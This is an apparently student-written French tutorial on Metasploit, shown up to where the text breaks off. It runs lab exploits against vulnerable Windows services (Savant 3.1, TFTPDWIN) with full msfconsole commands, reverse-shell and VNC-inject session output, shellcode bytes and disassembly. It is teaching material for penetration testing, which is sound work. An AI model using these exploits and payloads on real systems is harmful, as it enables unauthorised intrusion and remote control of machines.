Anda di halaman 1dari 25

METASPLOIT

Environnement intégré de test d’intrusion

MARTIN Benjamin

PAULIAT Romain

PELLETIER Alexandre

Table des matières

1 Préambule

2

1.1 METAQUOI ? METASPLOIT !

 

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

2

1.2 Mise en place du framework

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

3

2 Premiers pas avec Metasploit

 

6

2.1 Informations générales

 

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

6

2.2 Configuration de l’exploit

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

8

2.3 Configuration du payload et lancement de l’exploit

 

9

3 Explication d’un exploit

 

12

3.1 Généralités

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

12

3.1.1 Acteurs en présence

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

12

3.1.2 Description de la faille

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

12

3.2 Type de payloads

 

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

12

3.2.1 Remote Exécutable .

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

13

3.2.2 Meterpreter

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

13

3.3 VNC Injection

 

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

15

3.3.1 Déroulement

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

15

3.3.2 Dissection

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

16

4 Mise en place d’un nouveau payload

 

18

4.1 Utilisation de msfpayload

 

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

18

4.2 Ajout d’un nouveau payload .

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

20

4.2.1 Déclaration d’un nouveau payload

 

20

4.2.2 Paramétrisation du payload

 

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

.

21

5 Conclusion

23

1

Chapitre 1

Préambule

1.1 METAQUOI ? METASPLOIT !

Metasploit est un projet open-source servant, en premier lieu, à tester la pénétration de systèmes informatisés et permettant le développement ra pide d’exploits ou de payloads.

C’est un puissant outil disponible gratuitement et compara ble aux produits com- merciaux tels que Immunity’s CANVAS ou Core Impact . L’intérêt de ce framework est la possibilité de réutiliser simplement une grande partie d es bouts de code qui auraient autrement dus être recopiés ou réimplémentés pour chaque ex ploit.

Cet projet a vu le jour durant l’été 2003 en grande partie grâc e à la contribution de H.D Moore et est actuellement disponible dans sa version 3. Initialem ent développé en langage de programmation Perl, le framework a été complètement ré-écrit pour la version 3.0 en langage Ruby et ce pour plusieurs raisons.

La nécessité de construction automatique de classes pour la réutilisation de code fut une chose à laquelle Perl ne correspondait pas parfaitement. Une autre raison est l’existence d’un interpréteur natif pour la plateforme Windows . De plus, la syntaxe Ruby est incroyablement simple et fournit le même niveau de fonct ionnalités que les langages comme Perl.

Metasploit, conçu pour être le plus modulaire possible, se d écompose en plusieurs parties. La pièce fondamentale de l’architecture est la lib rairie Rex (Ruby Extension Library). Certains des composants fournis par Rex incluent un sous-système d’emballage de socket, des implémentations de clients et serveurs de pro tocoles, un sous-système de logging, des classes utilitaires d’exploitation, et un gra nd nombre d’autres classes utiles.

Le niveau le plus bas est le "framework core", responsable de l’implémentation de toutes les interfaces requises. Juste au dessus se situe le " framework base" qui est une couche de librairies permettant d’intéragir plus simpleme nt avec le framework core. Séparés du framework lui-même, se trouvent les plugins et mo dules qu’il va supportés.

Ces derniers ont une structure et interface prédéfinie pour ê tre chargés comme étant un des exploits, payload, encodeur ou générateur de NOP. Un p lugin est défini comme l’outil permettant d’étendre ou d’améliorer les fonctionn alités du framework. Le schéma suivant résume l’ensemble des dépendances des modules.

2

Fig. 1.1 – Dépendances des modules du framework 3.0 L’intérêt de la structure de Metasploit

Fig. 1.1 – Dépendances des modules du framework 3.0

L’intérêt de la structure de Metasploit est de considérer chacun des exploits, payloads ou autres comme étant séparés du framework lui-mêm e, ce qui permet de les modifier, sauvegarder et réutiliser. En effet, cette structu re se distinguera également dans l’arborescence du framework et chacun des modules sera entièrement défini par un fichier écrit en langage Ruby , ce qui permettra de rajouter ou de créer simplement ses propres exploits ou payloads.

Après avoir abordé le côté théorique de Metasploit , intéressons nous à l’installation et à la prise en main dudit framework, qui, comme nous allons l e voir, sont d’une facilité déconcertante.

1.2 Mise en place du framework

Avant toute chose, le framework nécessite la présence des li brairies Ruby . Celles-ci peuvent être installées par le biais de votre gestionnaire d e paquets (apt-get, yum,

) si cela n’est pas déja fait. Il est aussi intéressant d’installer la bibliothèque

libreadline-ruby qui permettra d’utiliser la complétion lors de l’utilisati on du frame-

work via l’inetrface console.

dpkg

Une fois cette préparation terminée, rendez-vous à l’adres se suivante :

http ://www.metasploit.com/framework/download/

Metasploit est disponible sous forme d’archive .tar pour le monde UNIX et d’un install .exe pour les plateformes Windows . Dans notre projet, l’installation réalisée s’est faite sur des machines tournant sous Ubuntu 8.04 et Fedora 9.

Une fois le téléchargement effectué, décompressez l’archive, l’installation est terminée et le framework est prêt à être utilisé.

3

Avant de lancer Metasploit , intéressons nous un instant au contenu du dossier extrait. Les répertoires les plus pertinents dans le cadre de ce proje t sont :

documentation/ contenant une documentation qui couvre les aspects techniq ues.

exploits/ contenant l’ensemble des exploits mis à disposition par le f ramework. Les derniers exploits sont téléchargeables sur le site de Metasploit .

payloads/ contenant les payloads des différentes architectures et sys tèmes d’ex- ploitation.

encoders/ contenant différents encodeurs de payloads, permettant par exemple de "xorer" un payload.

On peut remarquer une certaine similitude avec l’organisat ion des modules décrite au chapitre précédent. C’est en effet dans ces répertoires qu e les fichiers Ruby sont placés afin d’être chargés en tant que modules.

Le framework crée aussi un dossier .msf3 à la racine du home de l’utilisateur. Ce dossier contient les fichiers suivants :

config : Fichier de configuration, où sont sauvegardées les variabl es d’environ- nement et les autres inormation de la session.

logs/ : Dossier qui contient les logs de session.

modules/ : Modules définis par l’utilisateur.

modcache : Metadata à propos des exploits, payloads, plugins, encode rs, NOPs, et de la date de modification de ceux-ci.

A noter qu’une description complète de chacun des répertoir es est disponible dans la documentation de Metasploit .

Nous pouvons maintenant nous attaquer au vif du sujet, l’uti lisation de Metasploit . Pour se faire, nous avons à notre disposition différentes int erfaces, de la ligne de commande au mode graphique en passant par l’interface web.

msfconsole est « l’interface de prédilection » car elle présente le meil leur compromis entre clarté et rapidité d’utilisation, msfgui est un GUI (Graphical User Interface) et msfweb est lui aussi un GUI mais accessible via un navigateur classi que. Voici un aperçu de ces 3 interfaces :

un GUI mais accessible via un navigateur classi que. Voici un aperçu de ces 3 interfaces

Fig. 1.2 – msfconsole

4

Fig. 1.3 – msfweb Fig. 1.4 – msfgui Celles-ci ayant un usage équivalent mais l’utilisation

Fig. 1.3 – msfweb

Fig. 1.3 – msfweb Fig. 1.4 – msfgui Celles-ci ayant un usage équivalent mais l’utilisation de

Fig. 1.4 – msfgui

Celles-ci ayant un usage équivalent mais l’utilisation de msfconsole permettant une meilleure compréhension du déroulement d’un exploit, nous favoriserons cette interface lors des prochaines parties.

5

Chapitre 2

Premiers pas avec Metasploit

2.1 Informations générales

Dans cette partie, nous allons décrire, en nous appuyant sur un exemple, la statégie à adopter pour lancement d’un exploit.

Le but de ce chapitre est de mettre en valeur la facilité de pri se en main de Metasploit , certains aspects de la configuration ne seront ici pas détail lés, une explication plus poussée sera effectuée dans les chapitres suivants.

Le lancement d’un exploit se déroule en 4 à 5 phases :

– Choisir et configurer l’exploit.

– Choix de la cible.

– Choisir et configurer le payload.

– Choix de l’encodage du payload (optionnel).

– Exécution de l’exploit.

Lors de cet exemple nous attaquerons une machine tournant so us Windows XP SP1 et d’adresse IP 192.168.1.5 via la faille du service Savant Web Server 3.1 et ce grâce à une station Ubuntu d’ardresse IP 192.168.1.4.

C’est parti, lancez ./msfconsole, voici ce que vous devriez obtenir :

root@shaka:~/framework-3.2\$ ./msfconsole < metasploit > ------------ \ , , \ (o o) ( ) )\
root@shaka:~/framework-3.2\$ ./msfconsole
< metasploit >
------------
\
,
,
\
(o o)
(
)
)\
|| -- ||
*
=[ msf v3.2-release
+ -- --=[ 320 exploits - 217 payloads
+ -- --=[ 20 encoders - 6 nops
=[ 99 aux
msf >

6

Nous pouvons constater qu’un nombre important d’exploits ( 320) et de payloads (217) sont présents par défaut dans Metasploit . Nous verrons plus tard qu’il est possible d’ajouter très simplement des modules annexes, créés de tou tes pièces ou récupérés sur le web.

Maintenant, premier réflexe, consulter l’aide :

msf > help Core Commands

=============

Command

Description

-------

-----------

?

Help menu

back

Move back from the current context

banner

Display an awesome metasploit banner

cd

Change the current working directory

exit

Exit the console

help

Help menu

info

Displays information about one or more module

irb

Drop into irb scripting mode

jobs

Displays and manages jobs

load

Load a framework plugin

loadpath

Searches for and loads modules from a path

quit

Exit the console

resource

Run the commands stored in a file

route

Route traffic through a session

save

Saves the active datastores

search

Searches module names and descriptions

sessions

Dump session listings and display information

set

Sets a variable to a value

setg

Sets a global variable to a value

show

Displays modules of a given type, or all modules

sleep

Do nothing for the specified number of seconds

unload

Unload a framework plugin

unset

Unsets one or more variables

unsetg

Unsets one or more global variables

use

Selects a module by name

version

Show the console library version number

Cette liste représente l’ensemble des commandes supportée s par défaut au lancement de cette interface. Il est possible d’ajouter des fonctionn alités au framework via des plugins pour pouvoir par exemple intéragir avec une base de d onnées SQL.

Dans notre exploit, seules les commandes de base nous seront utiles et plus parti- culièrement help, info, set, show et use. En effet, celles-ci permettent de choisir un exploit et un payload, de lister les variables à initialiser et d’effectuer la configuration appropriée.

Nous allons donc choisir l’exploit qui nous concerne, pour c ela on utilise la fonction show exploits, qui nous permet de lister l’ensemble des exploits disponib les, en voici une partie :

7

msf > show exploits Exploits ======== Name ---- bsdi/softcart/mercantec_softcart freebsd/tacacs/xtacacsd_report hpux/lpd/cleanup_exec irix/lpd/tagprinter_exec

linux/games/ut2004_secure

linux/http/gpsd_format_string

linux/http/linksys_apply_cgi

windows/http/savant_31_overflow

windows/tftp/tftpdwin_long_filename windows/tftp/threectftpsvc_long_mode windows/unicenter/cam_log_security windows/vnc/realvnc_client windows/vnc/ultravnc_client windows/vnc/winvnc_http_get

windows/wins/ms04_045_wins

Description ----------- Mercantec SoftCart XTACACSD <= 4.1.2 HP-UX LPD Command Execution Irix LPD tagprinter Unreal Tournament 2004 Berlios GPSD Linksys apply.cgi

Savant 3.1 Web Server Overflow

TFTPDWIN v0.4.2 3CTftpSvc TFTP CA CAM RealVNC 3.3.7 Client UltraVNC 1.0.1 Client WinVNC Web Server <= v3.3.3 Microsoft WINS Service

L’exploit reposant sur la faille du service est donc bien pré sente, il suffit alors de charger le module exploit avec la commande appropriée, en l’ occurence use.

msf > use windows/http/savant_31_overflow msf exploit(savant_31_overflow) >

On peut remarquer la corrélation entre le nom de l’exploit, q ui est de la forme OS/service/exploit, et le chemin où est stocké le fichier Ruby correspondant. Cet te remarque est toute aussi valable pour les autres modules.

Maintenant que notre exploit est chargé (en effet, dans la con sole, la ligne msf exploit(savant_31_overflow) > est désormais présente), il va falloir configurer correctement celui-ci. Dans la partie qui suit, nous étudie rons donc la façon de récupérer les informations nécessaires et les modifications à apporte r.

2.2 Configuration de l’exploit

Les commandes show options et show targets permettent de lister la configuration requise par un exploit. Pour une description plus complète d u module, il existe info.

msf exploit(savant_31_overflow) > show options

Module options:

Name

Current Setting Required Description

----

--------------- -------- -----------

RHOST

yes

The target address

RPORT

80

yes

The target port

msf exploit(savant_31_overflow) >

8

On remarque que le champ requis RHOST n’est pas renseigné. Celui-ci correspond à l’adresse IP de la machine distante "cible". Afin de l’initia liser, on utilise la commande set qui permet d’assigner une valeur à une variable. Notons que RPORT, qui par défaut est initialisé à 80, correspond bien au port http distant. Da ns notre exemple RHOST = 192.168.1.5, on va donc configurer l’exploit de la manière su ivante :

msf exploit(savant_31_overflow) > set RHOST 192.168.1.5 RHOST => 192.168.1.5 msf exploit(savant_31_overflow) >

De la même manière, on configure alors la cible :

msf exploit(savant_31_overflow) > show targets

Exploit targets:

Id

Name

--

----

0

Universal Savant.exe

1

Windows 2000 Pro All - English

2

Windows 2000 Pro All - Italian

3

Windows 2000 Pro All - French

4

Windows XP Pro SP2 - English

msf exploit(savant_31_overflow) >

Dans notre exemple, l’exploit s’appuie sur une faille de l’é xécutable et n’est pas spécifique à un OS particulier. On choisira donc Savant.exe comme cible :

msf exploit(savant_31_overflow) > set TARGET 0 TARGET => 0 msf exploit(savant_31_overflow) >

Notre exploit est maintenant bien configuré, ne reste plus qu ’à choisir notre payload.

2.3 Configuration du payload et lancement de l’exploit

On va maintenant choisir le payload à exécuter, on procède de la même manière que pour l’exploit i.e on affiche les payloads disponibles et on ch oisit en conséquence. Dans notre exemple, on veut simplement récupérer un shell sur la m achine distante :

msf exploit(savant_31_overflow) > show payloads

Compatible payloads ===================

Name ---- generic/debug_trap

generic/debug_trap/bind_ipv6_tcp

generic/debug_trap/bind_nonx_tcp

generic/debug_trap/bind_tcp

Description ----------- Generic x86 Debug Trap Generic x86 Debug Trap Generic x86 Debug Trap Generic x86 Debug Trap

9

windows/shell/reverse_nonx_tcp

windows/shell/reverse_ord_tcp

windows/upexec/bind_nonx_tcp

windows/upexec/reverse_nonx_tcp

windows/upexec/reverse_ord_tcp

windows/vncinject/bind_nonx_tcp

windows/vncinject/reverse_nonx_tcp

windows/vncinject/reverse_ord_tcp

Windows Command Shell Windows Command Shell Windows Upload/Execute Windows Upload/Execute Windows Upload/Execute Windows VNC Inject Windows VNC Inject Windows VNC Inject

msf > set PAYLOAD windows/shell/reverse_nonx_tcp PAYLOAD => windows/shell/reverse_nonx_tcp

Une fois le payload chargé, on utilise show options pour s’assurer que tous les champs sont bien renseignés. Si tel n’est pas le cas il faudra y reméd ier.

msf exploit(savant_31_overflow) > show options

Module options:

Name

Current Setting Required Description

----

--------------- -------- -----------

RHOST

192.168.1.5 yes

The target address

RPORT

80

yes

The target port

Payload options (windows/shell/reverse_nonx_tcp):

Name

Current Setting Required Description

----

--------------- -------- -----------

EXITFUNC

thread

yes

Exit technique:seh, thread, process

LHOST

yes

The local address

LPORT

4444

yes

The local port

Exploit target:

Id

Name

--

----

0

Universal Savant.exe

Dans notre exemple, il va falloir mettre la variable LHOST à 1 92.168.1.4, qui est l’IP de notre machine "attaquante" :

msf exploit(savant_31_overflow) > set LHOST 192.168.1.4 LHOST => 192.168.1.4 msf exploit(savant_31_overflow) >

Nous avons fini de configurer le payload. Notre exploit est prê t à être lancé grâce à la commande exploit, démonstration :

msf exploit(savant_31_overflow) > exploit [*] Started reverse handler [*] Searching for a suitable nopsled [*] Found one! Sending exploit. [*] Sending stage (474 bytes)

10

[*] Command shell session 1 opened (192.168.1.4:4444 -> 192.168.1.5:1041)

Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.

C:\Savant>cd C:\>dir dir Le volume dans le lecteur C n’a pas de nom. Le numero de serie du volume est 1CE2-D4CE

Repertoire de C:\

24/11/2008

21:39

0 AUTOEXEC.BAT

24/11/2008

21:39

0 CONFIG.SYS

24/11/2008

21:49

<REP>

Documents and Settings

21/12/2008

19:13

<REP>

Program Files

01/12/2008 21:12

<REP>

Savant

01/12/2008 22:52

<REP>

WINDOWS

2

fichier(s)

0 octets

4

Rep(s)

1103221793712 octets libres

C:\>

On a donc "la main" sur la machine distante :-), ce qui signifie que l’exploit s’est bien déroulé. Maintenant que l’utilisation de Metasploit est comprise, nous allons pouvoir nous intéresser plus en détail au déroulement d’un exploit.

11

Chapitre 3

Explication d’un exploit

Nous allons étudier dans cette section un scénario d’exploi t. Beaucoup de papers sur Metasploit décrivent de manière simple les commandes à utiliser pour un exploit. Cette partie sera consacrée à la réalisation d’un exploit simple, et de sa dissection.

3.1 Généralités

3.1.1 Acteurs en présence

Soit un réseau 192.168.0.0/24 et deux machines Attaquant et Cible.

– L’attaquant A : 192.168.0.11

– La cible C : 192.168.0.10

La machine Cible propose un service TFTP sur son port 69, avec une version infectée :

TFTP Server TFTPWIN 0.4.2 ProSysInfo.

[root@localhost ~]# nmap -sU 192.168.0.10 Starting Nmap 4.52 ( http://insecure.org ) at 2008-12-21 15:22 CET Interesting ports on 192.168.0.10:

Not shown: 1478 closed ports PORT STATE SERVICE 69/udp open|filtered tftp

3.1.2 Description de la faille

C’est une faille classique de Stack Overflow. Le serveur TFTP a besoin du username de l’utilisateur. La taille n’est pas verifiee, ce qui permet d’overwriter le pointeur de retour eip vers une adresse. Le flux d’éxécution peut donc être détourné .

3.2 Type de payloads

En regardant les payloads proposés par Metasploit , plusieurs catégories semblent se distinguer :

– Etablissement d’une connexion entre A et C.

– Execution d’une commande connue de A sur C.

– VNC inject : Obtention d’une interface graphique

– Meterpreter : Nouveauté de Metasploit 2.3.

12

La connexion entre A et C peut etre initiée par la machine Attaquant A, on parle de bind_shell, ou par la machine Cible C, dans ce cas, on parle de reverse_shell.

Concernant la commande à éxécuter sur C, celle-ci peut même ê tre downloadée à partir d’une url tierce, comme le montre la figure 3.1

Le concept VNCinject consiste à uploader une DLL afin de simuler un équivalent de serveur VNC qui véhicule son flux dans du TCP. Metasploit récupère ces informations, retranscrit le véritable flux VNC, le met ensuite à dispositi on d’un client, comme le montre la figure 3.4.

3.2.1 Remote Exécutable

Si on choisi d’utiliser le payload suivant :

– windows/download_exec/reverse_nonx_tcp

Le shellcode permet de télécharger n’importe quel éxécutab le à partir de n’importe quelle url passée en paramètre afin de l’éxécuter sur la machi ne Cible. La figure 3.1 décrit les différents flux d’informations prenant part à l’ex ploit.

flux d’informations prenant part à l’ex ploit. Fig. 3.1 – Exécution d’une commande arbitraire sur la

Fig. 3.1 – Exécution d’une commande arbitraire sur la cible

D’autres payloads peuvent être utlisés. De nouveaux payloa ds peuvent être téléchargés sur le site de Metasploit . Il est également possible de les créer soi-même, comme nous verrons dans le chapitre suivant.

3.2.2 Meterpreter

Metasploit offre une pléthore de payloads, permettant d’effectuer une ce rtaine action sur une machine cible. Le problème est qu’un payload permet d ’effectuer qu’une seule action. Pour cette raison, son but est souvent d’établir un s hell. Cela crée donc un nouveau processus. On pourrait se demander s’il etait possi ble d’infecter un service, et d’une manière ou d’une autre garder la main sur le flux d’éxécu tion pour faire passer des commandes arbitraire directement au sein du processus e xploité.

Meterpreter ou Meta-Interpreter est une nouveauté de la version 2.3 et propose ce type de fonctionnalité. La faille est exploitée sur la machine C, un meta-shell est proposé à la machine A, pourvu d’un ensemble de commande, com me on peut le voir sur la figure 3.2.

13

L’intérêt génial de Meterpreter est sa modularité. Un ensemble de nouvelles com- mandes peuvent être uploadées sur la machine Cible de façon dynamique ( on the fly ). Ce principe d’extension permet à n’importe quel developpeu r de créer facilement un ensemble de nouvelles commandes avec le langage de son choix , dont les éxécutables seront sous forme de DLL.

meterpreter> help Core ------------ read write close interact help exit initcrypt Extensions ------------ loadlib use meterpreter>

Core feature set commands ---------------- Reads from a communication channel Writes to a communication channel Closes a communication channel Switch to interactive mode with a channel Displays the list of all register commands Exits the client Initializes the cryptographic subsystem Feature extension commands ---------------- Loads a library on the remote endpoint Uses a feature extension module

Fig. 3.2 – Mise à disposition d’un meta-shell

On peut voir sur la figure 3.2 le package core. La figure 3.3 montre comment on peut ajouter dynamiquement un autre package, c’est a dire uploader un nouveau fichier DLL, comportant d’autre commandes. La partie programmation de p ackage de Meterpreter ne sera pas décrite, bien qu’interessante, par manque de tem ps.

meterpreter> use -m Process loadlib: Loading library from ’ext950591.dll’ on the remote machine. meterpreter> loadlib: success. meterpreter> help

Process

Process manipulation and execution commands

------------

execute

---------------- Executes a process on the remote endpoint

kill

Terminate one or more processes on the remote endpoint

ps

List processes on the remote endpoint

meterpreter> execute

Fig. 3.3 – Ajout de nouvelles commandes dans le meta-shell

On peut voir sur la figure 3.3 que de nouvelles commandes sont venus se greffer au menu help, après le chargement du package Process. De nombreux mécanismes sont mis à disposition de la machine A de façon transparente.

14

3.3

VNC Injection

Pour illustrer nos propos, nous avons choisi de récupérer l’ interface graphique de la cible. Notons que cela est possible quelque soit la faille ex ploitée. Notre choix se porte donc sur :

– le module /windows/tftp/tftpdwin_long_filename

– le payload /windows/vncinject/reverse_nonx_tcp

3.3.1

Déroulement

Un certain nombre d’options 1 doivent être positionnées pour permettre le bon déroulement de l’exploit.

RHOST : Remote Host : Machine C.

RPORT : Remote Port : port tftp.

LHOST : Local Host : Machine initiant l’attaque sur RHOST : Machine A.

LPORT : Local Port : Port du reverse Shell.

VNCHOST : Emulation du serveur vnc : Machine A.

VNCPORT : Port de mise a disposition du flux VNC.

DLL : Fichier de dll qui sera uploader sur la machine A.

EXITFUNC : Décide de la manière dont on s’échappe du processus infecté . Pour les cibles dont le système d’exploitation est Windows , on utilise souvent seh.

CHOST, CPORT, ContextInfoFile, EnableContextEncoding,

WfsDelay : allonge le delai d’attente de session.

DisableCourtesyShell : Ce shell permet d’avoir une console sur l’écran de la machine Cible, même si l’écran est locké.

Remarquons que Metasploit propose un utilitaire pour décomposer ou forger des shellcodes. Par exemple, nous pouvons facilement voir celu i que nous allons utiliser.

\# ./msfpayload windows/vncinject/reverse_nonx_tcp LHOST=192.168.0.11 C

/* windows/vncinject/reverse_nonx_tcp - 177 bytes (stage 1) */

unsigned char buf[] =

"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d\x3c"

"\xb4\x0c\x50\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6";

/* windows/vncinject/reverse_nonx_tcp - 2650 bytes (stage 2) */

unsigned char buf[] =

"\x55\x8b\xec\x81\xec\xa8\x01\x00\x00\x53\x56\x57\xeb\x02\xeb"

"\x04

On peut observer que le shellcode est composé en deux parties , une partie étant plus petite 2 et pouvant tenir dans le buffer employé par TFTPWIN. Nous reviendrons plus amplement sur msfpayload lors du chapitre suivant.

1 voir section précédente pour plus d’informations sur la façon de positionner les paramètres 2 Les tailles ont été tronquées pour plus de lisibilité.

15

Une fois les paramètres positionnés, on lance l’attaque :

[*] Launching exploit windows/tftp/tftpdwin_long_filename [*] Started reverse handler [*] Trying target Universal - tftpd.exe [*] Transmitting intermediate stager for over-sized stage [*] Sending stage (2650 bytes) [*] Sleeping before handling stage [*] Uploading DLL (197133 bytes) [*] Upload completed. [*] Starting local TCP relay on 192.168.0.11:5900 [*] Local TCP relay started. [*] Launched vnciewer in the background. [*] Session 1 created for 192.168.0.10:1047

(191

bytes)

La machine Attaquant obtient directement l’interface graphique de la machine Cible. Celle ci, ne s’aperçoit de rien, jusqu’au moment où la machi ne Attaquant kill la session, c’est le moment où le serveur tftp va planter et afficher le message d’erreur sur la machine Cible.

3.3.2 Dissection
3.3.2
Dissection

Fig. 3.4 – Description de l’exploit

La figure 3.4 décrit le déroulement chronologique de l’explo it. Les paquets sont observés à l’aide de l’utilitaire wireshark 3

1. Connexion vers la machine C sur le port RHOST.

Frame 8 (341 bytes on wire, 341 bytes captured) Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.10 User Datagram Protocol, Src Port:52217 (52217), Dst Port:tftp (69) Trivial File Transfer Protocol

3 http ://www.wireshark.org

16

2.

upload de la library VNC vers la machine Cible (VNC injecti on).

Frame 9 (62 bytes on wire, 62 bytes captured) Internet Protocol, Src:192.168.0.10 (192.168.0.10), Dst:192.168.0.11 Transmission Control Protocol, Src Port:neod1 (1047), Dst Port:4444

Frame 10 (62 bytes on wire, 62 bytes captured) Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.10 Transmission Control Protocol, Src Port:krb524 (4444), Dst Port:1047

3. Le serveur Tftp commence son traitement, demande le nom d’ utilisateur et le place

dans la pile du process. Celle ci est symbolisée par le rectan gle à droite de la figure

3.4.

4. Débordement de la pile et détournement du flux d’éxécution vers le shellcode. Celui-ci est constitué d’instructions NOP pour augmenter les chances de tomber une adresse du début du buffer.

5. Execution du shellcode, ouverture d’une connexion vers A (reverse_shell ).

6. Le flux VNC vient est encapsule dans un flux TCP et arrive par le port LPORT. Le serveur VNC simulé prend en entrée ce flux TCP et le met à dispos ition sur le port VNCPORT.

Frame 141 (74 bytes on wire, 74 bytes captured) Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.11 Transmission Control Protocol, Src Port:43925 (43925), Dst Port:5900 Virtual Network Computing

7. Si la case Auto est cochée, le framework lance un vncviewer sur ce port.

17

Chapitre 4

Mise en place d’un nouveau payload

Comme on l’a expliqué aux chapitres précédents, l’une des fo nctionnalités de Metasploit est que à partir d’un exploit que l’on a déjà dans la base de don née, on peut effectuer plusieurs taches : les payloads. On peut les créer, ce qui est le but de cette partie.

Avant toute chose nous allons revenir sur msfpayload qui nous permet de regarder les payloads plus en profondeur. Puis nous verrons le princi pes de base servant à créer les singles payloads.

4.1 Utilisation de msfpayload

Msfpayload à deux fonctionalités : la première nous permet e ssentiellement de voir les shellcodes qui sont injectés dans le flot d’éxecution. Po ur la seconde, on le couple avec un désassembleur ce qui nous permet de voir ce qui ce pass e au niveau du processeur.

On regardera dans cette partie le payload windows/exec. Ce dernier étant petit il est plus facile à étudier.

Les payloads se trouvent dans <MSF HOME>/modules/payloads /. L’utilisation de msfpayload se fait de la façon suivante :

msfpayload <payload à étudier> <options du payload> <options de msfpayload>

Où les options de msfpayload sont :

S

: Un résumé du payload.

C

: pour étudier le payload en C.

J

: pour étudier le payload en java.

P

: pour étudier le payload en Perl.

X

: pour étudier le payload comme executable.

R

: pour étudier le payload comme raw.

Comme le montre le figure 4.1, le payload windows/exec permet d’éxécuter une commande sur une machine cible. Il est nécessaire de positio nner en paramètre la commande à éxécuter sur la cible.

18

[root@ben-laptop]# ./msfpayload windows/exec CMD=dir S

Name: Windows Execute Command Version: 5773 Platform: Windows Arch: x86 Needs Admin: No Total size: 116

Provided by:

vlad902 <vlad902@gmail.com>

Basic options:

Name

Current Setting Required Description

----

--------------- -------- -----------

CMD

dir

yes

The command string to execute

EXITFUNC seh

yes

Exit technique: seh, thread, process

Description:

Execute an arbitrary command

Fig. 4.1 – Description du payload windows/exec

On peut regarder ce que donne le payload avec la syntaxe du lan gage C. On pourrait donc très facilement utiliser un payload de Metasploit dans un autre programme C, ce qui les rend extrêmement portables.

root@ben-laptop# msfpayload windows/exec CMD=dir C /*

* windows/exec - 116 bytes

* http://www.metasploit.com

* EXITFUNC=seh, CMD=dir

*/ unsigned char buf[] =

"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef"

"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31"

"\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b"

"\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"

"\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x5f"

"\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b\x40\x0c\x8b\x70\x1c\xad"

"\x8b\x68\x08\x89\xf8\x83\xc0\x6a\x50\x68\xf0\x8a\x04\x5f\x68"

"\x98\xfe\x8a\x0e\x57\xff\xe7\x64\x69\x72\x00";

msfpayload donne également la possibilité de lister les commandes asse mbleur util- isées, en couplant la sortie brute avec un désassembleur, comme par exemple ndisasm 1 . On utilise l’option R pour ce type de sortie.

1 http ://sourceforge.net/projects/nasm

19

root@ben-laptop# msfpayload windows/exec CMD=dir R | ndisasm -u -

00000000 FC

cld

00000001

E844000000

call dword 0x4a

00000068

6898FE8A0E

push 0xe8afe98

0000006D

57

push edi

0000006E

FFE7

jmp edi

00000070 64

db 0x64

00000071 69

db 0x69

00000072 7200

jc 0x74

00000074

0A

db 0x0A

On peut brièvement remarquer que la commande DIR est bien pri se en compte (0x64, 0x69, 0x72). Notons également que ce payload transporte une chaine de caractères. Si le programme est absent sur le système cible, une erreur sera générée. Pour uploader dynamiquement des programmes, on pourra voir la section rel ative à Meterpreter .

A propos de la syntaxe

Le flux de msfpayload est mis dans un tube par le shell, le programme ndisasm prend la sortie du tube en guise d’entrée standard, à l’aide d u tiret.

Ainsi, on voit ce qui se passe au niveau de l’assembleur. Ce qu i peut être utile quand on veut concevoire ces propres payload.

4.2 Ajout d’un nouveau payload

4.2.1 Déclaration d’un nouveau payload

Un single payload est le type le plus simple des payload, en eff et ce dernier se suffit à lui-même : il effectue une unique tache sans avoir besoin de c odes auxilliaires.

Nous nous appuierons donc sur ce type de payload au cours de ce tte partie pour faciliter la compréhension de l’insertion d’un nouveau mod ule.

Commençons par regarder à quoi celui-ci ressemble générale ment :

require ’msf/core’ require ’msf/core/handler/bind_tcp’

module Msf module Payloads module Singles module Windows

module Exemple

include Msf::Payload::Windows include Msf::Payload::Single

def initialize(info = {})

20

